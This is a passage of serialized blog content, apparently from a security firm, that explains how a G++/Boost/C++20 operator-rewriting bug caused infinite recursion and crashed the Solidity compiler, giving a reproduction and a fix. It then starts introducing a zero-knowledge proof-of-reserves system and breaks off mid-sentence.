rational_detail::is_compatible_integer\u003C",{"type":23,"tag":314,"props":90757,"children":90758},{"style":2674},[90759],{"type":28,"value":90760},"Arg",{"type":23,"tag":314,"props":90762,"children":90763},{"style":338},[90764],{"type":28,"value":778},{"type":23,"tag":314,"props":90766,"children":90767},{"style":2674},[90768],{"type":28,"value":89929},{"type":23,"tag":314,"props":90770,"children":90771},{"style":338},[90772],{"type":28,"value":90773},">::value, ",{"type":23,"tag":314,"props":90775,"children":90776},{"style":321},[90777],{"type":28,"value":28934},{"type":23,"tag":314,"props":90779,"children":90780},{"style":354},[90781],{"type":28,"value":9710},{"type":23,"tag":314,"props":90783,"children":90784},{"style":338},[90785],{"type":28,"value":90786},"::type\n",{"type":23,"tag":314,"props":90788,"children":90789},{"class":316,"line":1625},[90790,90795,90800,90804,90808,90812,90816,90820,90824,90828,90832,90836,90840,90844,90848],{"type":23,"tag":314,"props":90791,"children":90792},{"style":321},[90793],{"type":28,"value":90794}," operator",{"type":23,"tag":314,"props":90796,"children":90797},{"style":338},[90798],{"type":28,"value":90799}," == (",{"type":23,"tag":314,"props":90801,"children":90802},{"style":321},[90803],{"type":28,"value":346},{"type":23,"tag":314,"props":90805,"children":90806},{"style":2674},[90807],{"type":28,"value":89881},{"type":23,"tag":314,"props":90809,"children":90810},{"style":321},[90811],{"type":28,"value":1833},{"type":23,"tag":314,"props":90813,"children":90814},{"style":360},[90815],{"type":28,"value":89962},{"type":23,"tag":314,"props":90817,"children":90818},{"style":338},[90819],{"type":28,"value":778},{"type":23,"tag":314,"props":90821,"children":90822},{"style":321},[90823],{"type":28,"value":346},{"type":23,"tag":314,"props":90825,"children":90826},{"style":2674},[90827],{"type":28,"value":89716},{"type":23,"tag":314,"props":90829,"children":90830},{"style":338},[90831],{"type":28,"value":5060},{"type":23,"tag":314,"props":90833,"children":90834},{"style":2674},[90835],{"type":28,"value":89929},{"type":23,"tag":314,"props":90837,"children":90838},{"style":338},[90839],{"type":28,"value":9710},{"type":23,"tag":314,"props":90841,"children":90842},{"style":321},[90843],{"type":28,"value":1833},{"type":23,"tag":314,"props":90845,"children":90846},{"style":360},[90847],{"type":28,"value":89088},{"type":23,"tag":314,"props":90849,"children":90850},{"style":338},[90851],{"type":28,"value":2414},{"type":23,"tag":314,"props":90853,"children":90854},{"class":316,"line":1660},[90855],{"type":23,"tag":314,"props":90856,"children":90857},{"style":338},[90858],{"type":28,"value":10129},{"type":23,"tag":314,"props":90860,"children":90861},{"class":316,"line":1708},[90862,90866,90870,90874],{"type":23,"tag":314,"props":90863,"children":90864},{"style":2284},[90865],{"type":28,"value":38604},{"type":23,"tag":314,"props":90867,"children":90868},{"style":338},[90869],{"type":28,"value":16003},{"type":23,"tag":314,"props":90871,"children":90872},{"style":354},[90873],{"type":28,"value":7828},{"type":23,"tag":314,"props":90875,"children":90876},{"style":338},[90877],{"type":28,"value":90878}," b; \n",{"type":23,"tag":314,"props":90880,"children":90881},{"class":316,"line":1743},[90882],{"type":23,"tag":314,"props":90883,"children":90884},{"style":338},[90885],{"type":28,"value":386},{"type":23,"tag":24,"props":90887,"children":90888},{},[90889,90891,90897],{"type":28,"value":90890},"This was designed under C++17 semantics. Back then, ",{"type":23,"tag":94,"props":90892,"children":90894},{"className":90893},[],[90895],{"type":28,"value":90896},"rhs == lhs",{"type":28,"value":90898}," would fall back to member overloads if available. All good.",{"type":23,"tag":24,"props":90900,"children":90901},{},[90902,90904,90909,90910,90916],{"type":28,"value":90903},"But under ",{"type":23,"tag":94,"props":90905,"children":90907},{"className":90906},[],[90908],{"type":28,"value":89453},{"type":28,"value":20741},{"type":23,"tag":94,"props":90911,"children":90913},{"className":90912},[],[90914],{"type":28,"value":90915},"G++ \u003C 14",{"type":28,"value":3746},{"type":23,"tag":127,"props":90918,"children":90919},{},[90920,90925,90930,90935],{"type":23,"tag":88,"props":90921,"children":90922},{},[90923],{"type":28,"value":90924},"G++ incorrectly chooses this non-member operator first",{"type":23,"tag":88,"props":90926,"children":90927},{},[90928],{"type":28,"value":90929},"C++20 reverses the comparison",{"type":23,"tag":88,"props":90931,"children":90932},{},[90933],{"type":28,"value":90934},"Which calls the same function again with arguments flipped",{"type":23,"tag":88,"props":90936,"children":90937},{},[90938],{"type":28,"value":90939},"And so on...",{"type":23,"tag":24,"props":90941,"children":90942},{},[90943,90945,90950],{"type":28,"value":90944},"This creates ",{"type":23,"tag":721,"props":90946,"children":90947},{},[90948],{"type":28,"value":90949},"infinite recursion",{"type":28,"value":282},{"type":23,"tag":24,"props":90952,"children":90953},{},[90954],{"type":28,"value":90955},"A minimal example:",{"type":23,"tag":304,"props":90957,"children":90959},{"code":90958,"language":28360,"meta":7,"className":28358,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n boost::rational\u003Cint> r;\n return r == 0;\n}\n",[90960],{"type":23,"tag":94,"props":90961,"children":90962},{"__ignoreMap":7},[90963,90971,90983,90990,91005,91029,91052],{"type":23,"tag":314,"props":90964,"children":90965},{"class":316,"line":317},[90966],{"type":23,"tag":314,"props":90967,"children":90968},{"style":374},[90969],{"type":28,"value":90970},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":23,"tag":314,"props":90972,"children":90973},{"class":316,"line":370},[90974,90978],{"type":23,"tag":314,"props":90975,"children":90976},{"style":2284},[90977],{"type":28,"value":89667},{"type":23,"tag":314,"props":90979,"children":90980},{"style":1245},[90981],{"type":28,"value":90982}," \u003Cboost/rational.hpp>\n",{"type":23,"tag":314,"props":90984,"children":90985},{"class":316,"line":380},[90986],{"type":23,"tag":314,"props":90987,"children":90988},{"emptyLinePlaceholder":18},[90989],{"type":28,"value":1088},{"type":23,"tag":314,"props":90991,"children":90992},{"class":316,"line":1091},[90993,90997,91001],{"type":23,"tag":314,"props":90994,"children":90995},{"style":321},[90996],{"type":28,"value":18285},{"type":23,"tag":314,"props":90998,"children":90999},{"style":332},[91000],{"type":28,"value":90032},{"type":23,"tag":314,"props":91002,"children":91003},{"style":338},[91004],{"type":28,"value":14977},{"type":23,"tag":314,"props":91006,"children":91007},{"class":316,"line":1141},[91008,91013,91017,91021,91025],{"type":23,"tag":314,"props":91009,"children":91010},{"style":338},[91011],{"type":28,"value":91012}," boost::rational",{"type":23,"tag":314,"props":91014,"children":91015},{"style":354},[91016],{"type":28,"value":5060},{"type":23,"tag":314,"props":91018,"children":91019},{"style":321},[91020],{"type":28,"value":18285},{"type":23,"tag":314,"props":91022,"children":91023},{"style":354},[91024],{"type":28,"value":9710},{"type":23,"tag":314,"props":91026,"children":91027},{"style":338},[91028],{"type":28,"value":90061},{"type":23,"tag":314,"props":91030,"children":91031},{"class":316,"line":1173},[91032,91036,91040,91044,91048],{"type":23,"tag":314,"props":91033,"children":91034},{"style":2284},[91035],{"type":28,"value":16228},{"type":23,"tag":314,"props":91037,"children":91038},{"style":338},[91039],{"type":28,"value":90073},{"type":23,"tag":314,"props":91041,"children":91042},{"style":354},[91043],{"type":28,"value":7828},{"type":23,"tag":314,"props":91045,"children":91046},{"style":1054},[91047],{"type":28,"value":1201},{"type":23,"tag":314,"props":91049,"children":91050},{"style":338},[91051],{"type":28,"value":2278},{"type":23,"tag":314,"props":91053,"children":91054},{"class":316,"line":1208},[91055],{"type":23,"tag":314,"props":91056,"children":91057},{"style":338},[91058],{"type":28,"value":386},{"type":23,"tag":24,"props":91060,"children":91061},{},[91062],{"type":28,"value":91063},"Expected output: nothing.",{"type":23,"tag":24,"props":91065,"children":91066},{},[91067],{"type":28,"value":91068},"Actual: segmentation fault (stack overflow).",{"type":23,"tag":24,"props":91070,"children":91071},{},[91072,91074,91081],{"type":28,"value":91073},"This exact pattern was ",{"type":23,"tag":31,"props":91075,"children":91078},{"href":91076,"rel":91077},"https://github.com/boostorg/rational/issues/43",[35],[91079],{"type":28,"value":91080},"reported and fixed in Boost rational",{"type":28,"value":91082},", but only in version 1.75+.",{"type":23,"tag":24,"props":91084,"children":91085},{},[91086],{"type":28,"value":91087},"Here’s the one-line fix:",{"type":23,"tag":304,"props":91089,"children":91091},{"code":91090,"language":39610,"meta":7,"className":39608,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n- return a == b;\n+ return a.operator==(b);\n}\n",[91092],{"type":23,"tag":94,"props":91093,"children":91094},{"__ignoreMap":7},[91095,91103,91110,91118,91126,91134,91141,91149,91157],{"type":23,"tag":314,"props":91096,"children":91097},{"class":316,"line":317},[91098],{"type":23,"tag":314,"props":91099,"children":91100},{"style":338},[91101],{"type":28,"value":91102},"template \u003Cclass Arg, class IntType>\n",{"type":23,"tag":314,"props":91104,"children":91105},{"class":316,"line":370},[91106],{"type":23,"tag":314,"props":91107,"children":91108},{"style":338},[91109],{"type":28,"value":90719},{"type":23,"tag":314,"props":91111,"children":91112},{"class":316,"line":380},[91113],{"type":23,"tag":314,"props":91114,"children":91115},{"style":338},[91116],{"type":28,"value":91117},"inline typename boost::enable_if_c \u003C\n",{"type":23,"tag":314,"props":91119,"children":91120},{"class":316,"line":1091},[91121],{"type":23,"tag":314,"props":91122,"children":91123},{"style":338},[91124],{"type":28,"value":91125}," rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":23,"tag":314,"props":91127,"children":91128},{"class":316,"line":1141},[91129],{"type":23,"tag":314,"props":91130,"children":91131},{"style":338},[91132],{"type":28,"value":91133}," operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":23,"tag":314,"props":91135,"children":91136},{"class":316,"line":1173},[91137],{"type":23,"tag":314,"props":91138,"children":91139},{"style":338},[91140],{"type":28,"value":10129},{"type":23,"tag":314,"props":91142,"children":91143},{"class":316,"line":1208},[91144],{"type":23,"tag":314,"props":91145,"children":91146},{"style":1245},[91147],{"type":28,"value":91148},"- return a == b;\n",{"type":23,"tag":314,"props":91150,"children":91151},{"class":316,"line":1216},[91152],{"type":23,"tag":314,"props":91153,"children":91154},{"style":1054},[91155],{"type":28,"value":91156},"+ return a.operator==(b);\n",{"type":23,"tag":314,"props":91158,"children":91159},{"class":316,"line":1301},[91160],{"type":23,"tag":314,"props":91161,"children":91162},{"style":338},[91163],{"type":28,"value":386},{"type":23,"tag":24,"props":91165,"children":91166},{},[91167,91169,91174,91176,91181],{"type":28,"value":91168},"Instead of calling ",{"type":23,"tag":94,"props":91170,"children":91172},{"className":91171},[],[91173],{"type":28,"value":89499},{"type":28,"value":91175}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":23,"tag":94,"props":91177,"children":91179},{"className":91178},[],[91180],{"type":28,"value":89507},{"type":28,"value":282},{"type":23,"tag":24,"props":91183,"children":91184},{},[91185],{"type":28,"value":91186},"This prevents C++20 from triggering recursive rewrites.",{"type":23,"tag":18031,"props":91188,"children":91189},{},[],{"type":23,"tag":61,"props":91191,"children":91193},{"id":91192},"part-iv-how-this-breaks-solidity",[91194],{"type":28,"value":91195},"Part IV: How This Breaks Solidity",{"type":23,"tag":24,"props":91197,"children":91198},{},[91199,91201,91206],{"type":28,"value":91200},"The Solidity codebase uses ",{"type":23,"tag":94,"props":91202,"children":91204},{"className":91203},[],[91205],{"type":28,"value":89354},{"type":28,"value":91207}," to represent certain compile-time constant expressions.",{"type":23,"tag":24,"props":91209,"children":91210},{},[91211,91213,91219],{"type":28,"value":91212},"One snippet that can trigger this issue appears in ",{"type":23,"tag":94,"props":91214,"children":91216},{"className":91215},[],[91217],{"type":28,"value":91218},"DeclarationTypeChecker::endVisit",{"type":28,"value":3746},{"type":23,"tag":304,"props":91221,"children":91223},{"code":91222,"language":28360,"meta":7,"className":28358,"style":7},"if (Expression const* length = _typeName.length()) {\n std::optional\u003Crational> lengthValue;\n\n if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n ...\n else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n lengthValue = value->value;\n\n if (!lengthValue)\n ...\n else if (*lengthValue == 0) // \u003C-- Infinite recursion happens here\n ...\n}\n",[91224],{"type":23,"tag":94,"props":91225,"children":91226},{"__ignoreMap":7},[91227,91274,91299,91306,91384,91391,91444,91472,91479,91499,91506,91546,91553],{"type":23,"tag":314,"props":91228,"children":91229},{"class":316,"line":317},[91230,91234,91239,91243,91247,91252,91256,91261,91265,91269],{"type":23,"tag":314,"props":91231,"children":91232},{"style":2284},[91233],{"type":28,"value":14821},{"type":23,"tag":314,"props":91235,"children":91236},{"style":338},[91237],{"type":28,"value":91238}," (Expression ",{"type":23,"tag":314,"props":91240,"children":91241},{"style":321},[91242],{"type":28,"value":346},{"type":23,"tag":314,"props":91244,"children":91245},{"style":354},[91246],{"type":28,"value":256},{"type":23,"tag":314,"props":91248,"children":91249},{"style":338},[91250],{"type":28,"value":91251}," length ",{"type":23,"tag":314,"props":91253,"children":91254},{"style":354},[91255],{"type":28,"value":1102},{"type":23,"tag":314,"props":91257,"children":91258},{"style":360},[91259],{"type":28,"value":91260}," _typeName",{"type":23,"tag":314,"props":91262,"children":91263},{"style":338},[91264],{"type":28,"value":282},{"type":23,"tag":314,"props":91266,"children":91267},{"style":332},[91268],{"type":28,"value":7756},{"type":23,"tag":314,"props":91270,"children":91271},{"style":338},[91272],{"type":28,"value":91273},"()) {\n",{"type":23,"tag":314,"props":91275,"children":91276},{"class":316,"line":370},[91277,91282,91286,91290,91294],{"type":23,"tag":314,"props":91278,"children":91279},{"style":338},[91280],{"type":28,"value":91281}," std::optional",{"type":23,"tag":314,"props":91283,"children":91284},{"style":354},[91285],{"type":28,"value":5060},{"type":23,"tag":314,"props":91287,"children":91288},{"style":338},[91289],{"type":28,"value":90359},{"type":23,"tag":314,"props":91291,"children":91292},{"style":354},[91293],{"type":28,"value":9710},{"type":23,"tag":314,"props":91295,"children":91296},{"style":338},[91297],{"type":28,"value":91298}," lengthValue;\n",{"type":23,"tag":314,"props":91300,"children":91301},{"class":316,"line":380},[91302],{"type":23,"tag":314,"props":91303,"children":91304},{"emptyLinePlaceholder":18},[91305],{"type":28,"value":1088},{"type":23,"tag":314,"props":91307,"children":91308},{"class":316,"line":1091},[91309,91313,91317,91321,91325,91329,91333,91337,91341,91346,91350,91354,91358,91362,91366,91371,91375,91379],{"type":23,"tag":314,"props":91310,"children":91311},{"style":2284},[91312],{"type":28,"value":11527},{"type":23,"tag":314,"props":91314,"children":91315},{"style":338},[91316],{"type":28,"value":2324},{"type":23,"tag":314,"props":91318,"children":91319},{"style":360},[91320],{"type":28,"value":7756},{"type":23,"tag":314,"props":91322,"children":91323},{"style":338},[91324],{"type":28,"value":1015},{"type":23,"tag":314,"props":91326,"children":91327},{"style":332},[91328],{"type":28,"value":29412},{"type":23,"tag":314,"props":91330,"children":91331},{"style":338},[91332],{"type":28,"value":29417},{"type":23,"tag":314,"props":91334,"children":91335},{"style":360},[91336],{"type":28,"value":32004},{"type":23,"tag":314,"props":91338,"children":91339},{"style":354},[91340],{"type":28,"value":13432},{"type":23,"tag":314,"props":91342,"children":91343},{"style":360},[91344],{"type":28,"value":91345}," length",{"type":23,"tag":314,"props":91347,"children":91348},{"style":338},[91349],{"type":28,"value":1015},{"type":23,"tag":314,"props":91351,"children":91352},{"style":332},[91353],{"type":28,"value":29412},{"type":23,"tag":314,"props":91355,"children":91356},{"style":338},[91357],{"type":28,"value":29417},{"type":23,"tag":314,"props":91359,"children":91360},{"style":360},[91361],{"type":28,"value":32004},{"type":23,"tag":314,"props":91363,"children":91364},{"style":338},[91365],{"type":28,"value":1015},{"type":23,"tag":314,"props":91367,"children":91368},{"style":332},[91369],{"type":28,"value":91370},"category",{"type":23,"tag":314,"props":91372,"children":91373},{"style":338},[91374],{"type":28,"value":13290},{"type":23,"tag":314,"props":91376,"children":91377},{"style":354},[91378],{"type":28,"value":7828},{"type":23,"tag":314,"props":91380,"children":91381},{"style":338},[91382],{"type":28,"value":91383}," Type::Category::RationalNumber)\n",{"type":23,"tag":314,"props":91385,"children":91386},{"class":316,"line":1141},[91387],{"type":23,"tag":314,"props":91388,"children":91389},{"style":338},[91390],{"type":28,"value":81094},{"type":23,"tag":314,"props":91392,"children":91393},{"class":316,"line":1173},[91394,91399,91403,91408,91412,91417,91421,91426,91430,91435,91439],{"type":23,"tag":314,"props":91395,"children":91396},{"style":2284},[91397],{"type":28,"value":91398}," else",{"type":23,"tag":314,"props":91400,"children":91401},{"style":2284},[91402],{"type":28,"value":15029},{"type":23,"tag":314,"props":91404,"children":91405},{"style":338},[91406],{"type":28,"value":91407}," (std::optional",{"type":23,"tag":314,"props":91409,"children":91410},{"style":354},[91411],{"type":28,"value":5060},{"type":23,"tag":314,"props":91413,"children":91414},{"style":338},[91415],{"type":28,"value":91416},"ConstantEvaluator::TypedRational",{"type":23,"tag":314,"props":91418,"children":91419},{"style":354},[91420],{"type":28,"value":9710},{"type":23,"tag":314,"props":91422,"children":91423},{"style":338},[91424],{"type":28,"value":91425}," value ",{"type":23,"tag":314,"props":91427,"children":91428},{"style":354},[91429],{"type":28,"value":1102},{"type":23,"tag":314,"props":91431,"children":91432},{"style":338},[91433],{"type":28,"value":91434}," ConstantEvaluator::",{"type":23,"tag":314,"props":91436,"children":91437},{"style":332},[91438],{"type":28,"value":37254},{"type":23,"tag":314,"props":91440,"children":91441},{"style":338},[91442],{"type":28,"value":91443},"(...))\n",{"type":23,"tag":314,"props":91445,"children":91446},{"class":316,"line":1208},[91447,91452,91456,91460,91464,91468],{"type":23,"tag":314,"props":91448,"children":91449},{"style":338},[91450],{"type":28,"value":91451}," lengthValue ",{"type":23,"tag":314,"props":91453,"children":91454},{"style":354},[91455],{"type":28,"value":1102},{"type":23,"tag":314,"props":91457,"children":91458},{"style":360},[91459],{"type":28,"value":31758},{"type":23,"tag":314,"props":91461,"children":91462},{"style":338},[91463],{"type":28,"value":1015},{"type":23,"tag":314,"props":91465,"children":91466},{"style":360},[91467],{"type":28,"value":38399},{"type":23,"tag":314,"props":91469,"children":91470},{"style":338},[91471],{"type":28,"value":2278},{"type":23,"tag":314,"props":91473,"children":91474},{"class":316,"line":1216},[91475],{"type":23,"tag":314,"props":91476,"children":91477},{"emptyLinePlaceholder":18},[91478],{"type":28,"value":1088},{"type":23,"tag":314,"props":91480,"children":91481},{"class":316,"line":1301},[91482,91486,91490,91494],{"type":23,"tag":314,"props":91483,"children":91484},{"style":2284},[91485],{"type":28,"value":11527},{"type":23,"tag":314,"props":91487,"children":91488},{"style":338},[91489],{"type":28,"value":2324},{"type":23,"tag":314,"props":91491,"children":91492},{"style":354},[91493],{"type":28,"value":19859},{"type":23,"tag":314,"props":91495,"children":91496},{"style":338},[91497],{"type":28,"value":91498},"lengthValue)\n",{"type":23,"tag":314,"props":91500,"children":91501},{"class":316,"line":1343},[91502],{"type":23,"tag":314,"props":91503,"children":91504},{"style":338},[91505],{"type":28,"value":81094},{"type":23,"tag":314,"props":91507,"children":91508},{"class":316,"line":1351},[91509,91513,91517,91521,91525,91529,91533,91537,91541],{"type":23,"tag":314,"props":91510,"children":91511},{"style":2284},[91512],{"type":28,"value":91398},{"type":23,"tag":314,"props":91514,"children":91515},{"style":2284},[91516],{"type":28,"value":15029},{"type":23,"tag":314,"props":91518,"children":91519},{"style":338},[91520],{"type":28,"value":2324},{"type":23,"tag":314,"props":91522,"children":91523},{"style":354},[91524],{"type":28,"value":256},{"type":23,"tag":314,"props":91526,"children":91527},{"style":338},[91528],{"type":28,"value":89330},{"type":23,"tag":314,"props":91530,"children":91531},{"style":354},[91532],{"type":28,"value":7828},{"type":23,"tag":314,"props":91534,"children":91535},{"style":1054},[91536],{"type":28,"value":1201},{"type":23,"tag":314,"props":91538,"children":91539},{"style":338},[91540],{"type":28,"value":431},{"type":23,"tag":314,"props":91542,"children":91543},{"style":374},[91544],{"type":28,"value":91545}," // \u003C-- Infinite recursion happens here\n",{"type":23,"tag":314,"props":91547,"children":91548},{"class":316,"line":1387},[91549],{"type":23,"tag":314,"props":91550,"children":91551},{"style":338},[91552],{"type":28,"value":81094},{"type":23,"tag":314,"props":91554,"children":91555},{"class":316,"line":1422},[91556],{"type":23,"tag":314,"props":91557,"children":91558},{"style":338},[91559],{"type":28,"value":386},{"type":23,"tag":24,"props":91561,"children":91562},{},[91563],{"type":28,"value":91564},"Under normal circumstances, this expression is benign. But:",{"type":23,"tag":127,"props":91566,"children":91567},{},[91568,91573,91578],{"type":23,"tag":88,"props":91569,"children":91570},{},[91571],{"type":28,"value":91572},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":23,"tag":88,"props":91574,"children":91575},{},[91576],{"type":28,"value":91577},"C++20 reverses the arguments",{"type":23,"tag":88,"props":91579,"children":91580},{},[91581],{"type":28,"value":91582},"The non-member operator recursively calls itself",{"type":23,"tag":24,"props":91584,"children":91585},{},[91586],{"type":28,"value":91587},"💥: segmentation fault.",{"type":23,"tag":18031,"props":91589,"children":91590},{},[],{"type":23,"tag":61,"props":91592,"children":91594},{"id":91593},"part-v-what-environments-are-affected",[91595],{"type":28,"value":91596},"Part V: What Environments are Affected?",{"type":23,"tag":24,"props":91598,"children":91599},{},[91600],{"type":28,"value":91601},"If a system uses any of the following:",{"type":23,"tag":127,"props":91603,"children":91604},{},[91605,91610,91615],{"type":23,"tag":88,"props":91606,"children":91607},{},[91608],{"type":28,"value":91609},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":23,"tag":88,"props":91611,"children":91612},{},[91613],{"type":28,"value":91614},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":23,"tag":88,"props":91616,"children":91617},{},[91618],{"type":28,"value":91619},"C++20 enabled (default in recent Solidity builds)",{"type":23,"tag":24,"props":91621,"children":91622},{},[91623,91625,91630,91632,91638],{"type":28,"value":91624},"They will encounter this crash ",{"type":23,"tag":721,"props":91626,"children":91627},{},[91628],{"type":28,"value":91629},"as soon as",{"type":28,"value":91631}," it processes a Solidity source with a length expression like ",{"type":23,"tag":94,"props":91633,"children":91635},{"className":91634},[],[91636],{"type":28,"value":91637},"T[0]",{"type":28,"value":91639}," or anything involving compile-time rational comparisons.",{"type":23,"tag":18031,"props":91641,"children":91642},{},[],{"type":23,"tag":61,"props":91644,"children":91646},{"id":91645},"recommendations",[91647],{"type":28,"value":91648},"Recommendations",{"type":23,"tag":127,"props":91650,"children":91651},{},[91652,91660],{"type":23,"tag":88,"props":91653,"children":91654},{},[91655],{"type":23,"tag":721,"props":91656,"children":91657},{},[91658],{"type":28,"value":91659},"Update Boost to ≥ 1.75",{"type":23,"tag":88,"props":91661,"children":91662},{},[91663],{"type":23,"tag":721,"props":91664,"children":91665},{},[91666],{"type":28,"value":91667},"Pin G++ to v14 or later",{"type":23,"tag":18031,"props":91669,"children":91670},{},[],{"type":23,"tag":61,"props":91672,"children":91673},{"id":28180},[91674],{"type":28,"value":18185},{"type":23,"tag":24,"props":91676,"children":91677},{},[91678],{"type":28,"value":91679},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":23,"tag":24,"props":91681,"children":91682},{},[91683,91685,91689],{"type":28,"value":91684},"But it ",{"type":23,"tag":721,"props":91686,"children":91687},{},[91688],{"type":28,"value":3228},{"type":28,"value":91690}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":23,"tag":24,"props":91692,"children":91693},{},[91694],{"type":28,"value":91695},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":23,"tag":24,"props":91697,"children":91698},{},[91699],{"type":28,"value":91700},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":23,"tag":2096,"props":91702,"children":91703},{},[91704],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":91706},[91707,91708,91713,91716,91717,91718,91719,91720],{"id":89390,"depth":370,"text":89393},{"id":89479,"depth":370,"text":89482,"children":91709},[91710,91711,91712],{"id":89485,"depth":380,"text":89488},{"id":89553,"depth":380,"text":89556},{"id":89644,"depth":380,"text":89647},{"id":90228,"depth":370,"text":90231,"children":91714},[91715],{"id":90234,"depth":380,"text":90237},{"id":90345,"depth":370,"text":90348},{"id":91192,"depth":370,"text":91195},{"id":91593,"depth":370,"text":91596},{"id":91645,"depth":370,"text":91648},{"id":28180,"depth":370,"text":18185},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":91725,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":91726,"description":91727,"date":91728,"author":30450,"image":91729,"isFeatured":18,"onBlogPage":18,"tags":91731,"body":91734,"_type":2117,"_id":96510,"_source":2119,"_file":96511,"_stem":96512,"_extension":2122},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":91730,"width":12871,"height":12871},"/posts/por/title.png",[91732,91733],"zk","por",{"type":20,"children":91735,"toc":96487},[91736,91742,91754,91766,91771,91803,91817,91823,91835,91840,91845,91882,91887,91893,91898,91905,91910,91936,91941,91947,91967,91981,91989,91994,91999,92007,92020,92026,92108,92114,92119,92132,92137,92144,92168,92176,92181,92187,92192,92640,92653,92659,92664,92672,92690,92698,92711,92719,94380,94385,94392,94398,94403,94410,94426,94433,94441,94448,95959,95964,95971,95977,95982,96009,96014,96033,96039,96047,96065,96114,96122,96141,96163,96169,96182,96187,96194,96199,96262,96267,96274,96294,96300,96305,96311,96316,96360,96365,96373,96379,96384,96426,96431,96439,96444,96452,96456,96461,96474],{"type":23,"tag":61,"props":91737,"children":91739},{"id":91738},"what-is-a-proof-of-reserves",[91740],{"type":28,"value":91741},"What is a Proof of Reserves?",{"type":23,"tag":24,"props":91743,"children":91744},{},[91745,91747,91752],{"type":28,"value":91746},"At its heart, ",{"type":23,"tag":721,"props":91748,"children":91749},{},[91750],{"type":28,"value":91751},"Proof of Reserves (PoR)",{"type":28,"value":91753}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":23,"tag":24,"props":91755,"children":91756},{},[91757,91759,91764],{"type":28,"value":91758},"Think of it this way: ",{"type":23,"tag":721,"props":91760,"children":91761},{},[91762],{"type":28,"value":91763},"PoR",{"type":28,"value":91765}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":23,"tag":24,"props":91767,"children":91768},{},[91769],{"type":28,"value":91770},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":23,"tag":24,"props":91772,"children":91773},{},[91774,91776,91783,91785,91792,91794,91801],{"type":28,"value":91775},"We from OtterSec, in partnership with ",{"type":23,"tag":31,"props":91777,"children":91780},{"href":91778,"rel":91779},"https://backpack.exchange/",[35],[91781],{"type":28,"value":91782},"Backpack",{"type":28,"value":91784},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":23,"tag":31,"props":91786,"children":91789},{"href":91787,"rel":91788},"https://github.com/otter-sec/por_v2",[35],[91790],{"type":28,"value":91791},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":28,"value":91793}," was based on ",{"type":23,"tag":31,"props":91795,"children":91798},{"href":91796,"rel":91797},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[35],[91799],{"type":28,"value":91800},"OKX Proof of Reserves algorithm",{"type":28,"value":91802}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":23,"tag":24,"props":91804,"children":91805},{},[91806,91808,91815],{"type":28,"value":91807},"In addition, we also created and open-sourced a ",{"type":23,"tag":31,"props":91809,"children":91812},{"href":91810,"rel":91811},"https://github.com/otter-sec/por_verifier_server",[35],[91813],{"type":28,"value":91814},"PoR verifier server",{"type":28,"value":91816}," that receives the proofs and validates them.",{"type":23,"tag":61,"props":91818,"children":91820},{"id":91819},"why-do-we-use-zk-for-por",[91821],{"type":28,"value":91822},"Why do we use ZK for PoR?",{"type":23,"tag":24,"props":91824,"children":91825},{},[91826,91828,91833],{"type":28,"value":91827},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":23,"tag":721,"props":91829,"children":91830},{},[91831],{"type":28,"value":91832},"Zero-Knowledge Proofs (ZKPs)",{"type":28,"value":91834}," become game-changers.",{"type":23,"tag":24,"props":91836,"children":91837},{},[91838],{"type":28,"value":91839},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":23,"tag":24,"props":91841,"children":91842},{},[91843],{"type":28,"value":91844},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things 